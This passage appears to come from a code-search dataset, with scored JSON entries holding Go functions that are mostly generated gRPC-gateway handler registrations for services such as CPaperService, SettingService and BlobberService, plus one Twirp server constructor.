err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_SummaryService_FindSummary_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_SummaryService_DeleteSummary_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_SummaryService_DeleteSummary_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_SummaryService_DeleteSummary_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_SummaryService_CreateSample_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_SummaryService_CreateSample_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_SummaryService_CreateSample_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_SummaryService_FindSample_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_SummaryService_FindSample_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_SummaryService_FindSample_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_SummaryService_DeleteSample_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_SummaryService_DeleteSample_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_SummaryService_DeleteSample_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "857f43811f86ffe9b80635e278cd9d19", "score": "0.6349689", "text": "func RegisterCPaperServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server CPaperServiceServer) error {\n\n\tmux.Handle(\"GET\", pattern_CPaperService_List_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CPaperService_List_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CPaperService_List_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CPaperService_Get_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CPaperService_Get_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CPaperService_Get_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_CPaperService_GetByExternalId_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CPaperService_GetByExternalId_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CPaperService_GetByExternalId_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CPaperService_Issue_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CPaperService_Issue_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CPaperService_Issue_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CPaperService_Buy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CPaperService_Buy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CPaperService_Buy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_CPaperService_Redeem_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CPaperService_Redeem_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CPaperService_Redeem_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_CPaperService_Delete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CPaperService_Delete_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CPaperService_Delete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "bf60a17cb52d9e0fbc750b6d02c7a689", "score": "0.6336691", "text": "func NewRegistrationServer(svc Registration, opts ...interface{}) TwirpServer {\n\tserverOpts := newServerOpts(opts)\n\n\t// Using ReadOpt allows backwards and forwads compatibility with new options in the future\n\tjsonSkipDefaults := false\n\t_ = serverOpts.ReadOpt(\"jsonSkipDefaults\", &jsonSkipDefaults)\n\tjsonCamelCase := false\n\t_ = serverOpts.ReadOpt(\"jsonCamelCase\", &jsonCamelCase)\n\tvar pathPrefix string\n\tif ok := serverOpts.ReadOpt(\"pathPrefix\", &pathPrefix); !ok {\n\t\tpathPrefix = \"/twirp\" // default prefix\n\t}\n\n\treturn &registrationServer{\n\t\tRegistration: svc,\n\t\thooks: serverOpts.Hooks,\n\t\tinterceptor: twirp.ChainInterceptors(serverOpts.Interceptors...),\n\t\tpathPrefix: pathPrefix,\n\t\tjsonSkipDefaults: jsonSkipDefaults,\n\t\tjsonCamelCase: jsonCamelCase,\n\t}\n}", "title": "" }, { "docid": "5a3005e4dd255d847ba2ee9fc2163643", "score": "0.6323376", "text": "func RegisterSettingServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server SettingServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_SettingService_ServiceLocatorSet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_SettingService_ServiceLocatorSet_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_SettingService_ServiceLocatorSet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_SettingService_ServiceLocatorGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_SettingService_ServiceLocatorGet_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_SettingService_ServiceLocatorGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_SettingService_ListServiceLocators_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_SettingService_ListServiceLocators_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_SettingService_ListServiceLocators_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_SettingService_PingService_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_SettingService_PingService_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_SettingService_PingService_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_SettingService_PingServices_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_SettingService_PingServices_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_SettingService_PingServices_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "859b2e879ada25624ce0883ae6dd7942", "score": "0.63065606", "text": "func RegisterBlobberServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server BlobberServiceServer) error {\n\n\tmux.Handle(\"GET\", pattern_BlobberService_GetAllocation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/GetAllocation\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_GetAllocation_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_GetAllocation_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_BlobberService_GetFileMetaData_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/GetFileMetaData\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_GetFileMetaData_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_GetFileMetaData_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_BlobberService_GetFileStats_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/GetFileStats\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_GetFileStats_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_GetFileStats_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_BlobberService_ListEntities_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/ListEntities\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_ListEntities_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_ListEntities_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_BlobberService_GetObjectPath_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/GetObjectPath\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_GetObjectPath_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_GetObjectPath_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_BlobberService_GetReferencePath_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/GetReferencePath\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_GetReferencePath_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_GetReferencePath_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_BlobberService_GetObjectTree_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/GetObjectTree\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_GetObjectTree_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_BlobberService_GetObjectTree_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_BlobberService_DownloadFile_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/blobber.BlobberService/DownloadFile\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_BlobberService_DownloadFile_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, 